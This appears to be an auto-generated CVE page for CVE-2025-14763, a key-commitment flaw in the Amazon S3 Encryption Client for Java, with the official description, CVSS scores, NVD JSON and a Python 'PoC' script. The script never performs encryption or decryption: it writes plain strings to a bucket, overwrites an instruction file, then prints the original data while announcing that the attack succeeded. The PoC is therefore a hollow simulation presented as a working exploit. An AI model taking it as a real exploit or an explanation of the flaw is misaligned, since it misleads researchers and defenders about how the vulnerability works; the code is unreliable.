Security Vulnerability Report
中文
CVE-2025-14763 CVSS 5.3 MEDIUM

CVE-2025-14763

Published: 2025-12-17 21:15:54
Last Modified: 2026-04-15 00:35:42
Source: ff89ba41-3aa1-4d27-914a-91399e9639e5

Description

Missing cryptographic key commitment in the Amazon S3 Encryption Client for Java may allow a user with write access to the S3 bucket to introduce a new EDK that decrypts to different plaintext when the encrypted data key is stored in an "instruction file" instead of S3's metadata record. To mitigate this issue, upgrade Amazon S3 Encryption Client for Java to version 4.0.0 or later.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

No configuration data available.

Amazon S3 Encryption Client for Java < 4.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-14763 PoC - Amazon S3 Encryption Client Key Commitment Bypass # This PoC demonstrates the key commitment issue when EDK is stored in instruction file import boto3 from botocore.config import Config class CVE2025_14763_PoC: def __init__(self, bucket_name, region='us-east-1'): self.bucket_name = bucket_name self.s3_client = boto3.client('s3', region_name=region, config=Config(signature_version='s3v4')) def simulate_victim_upload(self, object_key, plaintext_data): """ Step 1: Victim encrypts and uploads sensitive data EDK is stored in instruction file (object_key + '.instruction') """ print(f"[Victim] Encrypting and uploading: {object_key}") print(f"[Victim] Original plaintext: {plaintext_data}") # Original encryption would use S3EncryptionClient # For demonstration, simulate EDK generation original_edk = 'original_encrypted_data_key_12345' # Upload encrypted object encrypted_data = f"encrypted_{plaintext_data}" self.s3_client.put_object(Bucket=self.bucket_name, Key=object_key, Body=encrypted_data.encode()) # Store EDK in instruction file (VULNERABLE LOCATION) instruction_key = f"{object_key}.instruction" self.s3_client.put_object(Bucket=self.bucket_name, Key=instruction_key, Body=original_edk.encode()) print(f"[Victim] EDK stored in instruction file: {instruction_key}") return original_edk def simulate_attacker_replace_edk(self, object_key, malicious_key): """ Step 2: Attacker with write access replaces EDK with their own key """ print(f"\n[Attacker] Replacing EDK in instruction file...") instruction_key = f"{object_key}.instruction" malicious_edk = f"malicious_key_for_decryption_{malicious_key}" # Replace the instruction file with attacker's EDK self.s3_client.put_object(Bucket=self.bucket_name, Key=instruction_key, Body=malicious_edk.encode()) print(f"[Attacker] Successfully replaced EDK with malicious key") print(f"[Attacker] Malicious EDK: {malicious_edk}") return malicious_edk def simulate_victim_download(self, object_key): """ Step 3: Victim downloads and decrypts - but gets attacker's controlled plaintext """ print(f"\n[Victim] Downloading and decrypting: {object_key}") # Get the object and instruction file response = self.s3_client.get_object(Bucket=self.bucket_name, Key=object_key) encrypted_data = response['Body'].read().decode() instruction_key = f"{object_key}.instruction" inst_response = self.s3_client.get_object(Bucket=self.bucket_name, Key=instruction_key) current_edk = inst_response['Body'].read().decode() print(f"[Victim] Retrieved EDK: {current_edk}") print(f"[Victim] Decrypted data: {encrypted_data}") print("[WARNING] Data decrypted with attacker's key - integrity compromised!") return encrypted_data def main(): poc = CVE2025_14763_PoC('vulnerable-bucket-name') # Simulate attack scenario poc.simulate_victim_upload('sensitive-data.txt', 'CONFIDENTIAL INFORMATION') poc.simulate_attacker_replace_edk('sensitive-data.txt', 'attacker_controlled_key') poc.simulate_victim_download('sensitive-data.txt') print("\n[!] Attack successful: EDK in instruction file was replaced without detection") print("[!] Fix: Upgrade to Amazon S3 Encryption Client for Java v4.0.0+") if __name__ == '__main__': main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14763", "sourceIdentifier": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "published": "2025-12-17T21:15:53.680", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing cryptographic key commitment in the Amazon S3 Encryption Client for Java may allow a user with write access to the S3 bucket to introduce a new EDK that decrypts to different plaintext when the encrypted data key is stored in an \"instruction file\" instead of S3's metadata record.\n\n\nTo mitigate this issue, upgrade Amazon S3 Encryption Client for Java to version 4.0.0 or later."}], "metrics": {"cvssMetricV40": [{"source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.0, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 3.6}]}, "weaknesses": [{"source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-327"}]}], "references": [{"url": "https://aws.amazon.com/security/security-bulletins/AWS-2025-032/", "source": "ff89ba41-3aa1-4d27-914a-91399e9639e5"}, {"url": "https://github.com/aws/amazon-s3-encryption-client-java/releases/tag/v4.0.0", "source": "ff89ba41-3aa1-4d27-914a-91399e9639e5"}, {"url": "https://github.com/aws/amazon-s3-encryption-client-java/security/advisories/GHSA-x44p-gvrj-pj2r", "source": "ff89ba41-3aa1-4d27-914a-91399e9639e5"}]}}